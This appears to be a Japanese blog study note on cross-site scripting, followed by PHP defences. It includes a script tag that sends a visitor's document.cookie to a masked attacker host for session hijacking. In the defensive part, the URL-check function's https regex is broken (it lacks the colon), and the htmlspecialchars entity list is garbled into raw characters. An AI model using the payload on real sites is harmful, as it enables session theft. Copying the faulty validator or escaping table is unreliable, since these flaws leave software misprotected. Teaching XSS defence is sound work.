読者です 読者をやめる 読者になる 読者になる

クロスサイト・スクリプティング(XSS)

セキュリティ

クロスサイト・スプリティング(XSS)とは、 Webページの出力処理に不備があるときに、悪意あるスプリクトを実行されてしまう脆弱性のこと。 別サイトにある罠リンクをクリックすることで、サイトをまたがって(クロスサイト)スプリクトを実行する。 スプリクトは、Webページの表示時に利用者のブラウザ上で実行される。

←→クロスサイト・リクエストフォージェリ(CSRF) !!!!!!サーバー上で実行される脆弱性!!!!!

1. 具体例

*Cookie等の情報漏洩 (セッションハイジャック)

<script type="text/javascript">
document.location="http://●●●●●.com/script.cgi?cookie="+document.cookie;  
</script>

script.cgi → クッキー情報を抜き取るプログラム

*訪問者の個人情報を促す入力フォームを埋め込むことによる、個人情報の不正搾取

2. 対策(php

  • HTTPレスポンスヘッダーに文字コードを指定する
    header("Content-type: text/html; charset=utf-8");

default_charset = "UTF-8"(php.ini)

  • HTML要素の属性はダブルクオーテーションでかこむ
    Webセキュリティ

  • 出力する全ての要素に対してエスケープ処理
    htmlspecialchars関数 (特殊文字を HTML エンティティに変換する)
    ①&' (アンパサンド) → '&
    ②ENT_NOQUOTES が設定されていない場合、 '"' (ダブルクォート) → '"' ③ENT_QUOTES が設定されている場合のみ、 "'" (シングルクオート) → '''

  • URLは「http://」か「https://」で始まるもののみに主力

function is_url($url)  {
  if (preg_match('/\Ahttp:\/\//', $url) || preg_match('/\Ahttps\/\//', $url)) {
    return true;
  } else {
    return false; 
  }
}  
  • 要素の内容を動的に生成しない

  • CookieにHttpOnly属性を付与する

setcookie("key", "value", 0, "/", null, FALSE, TRUE);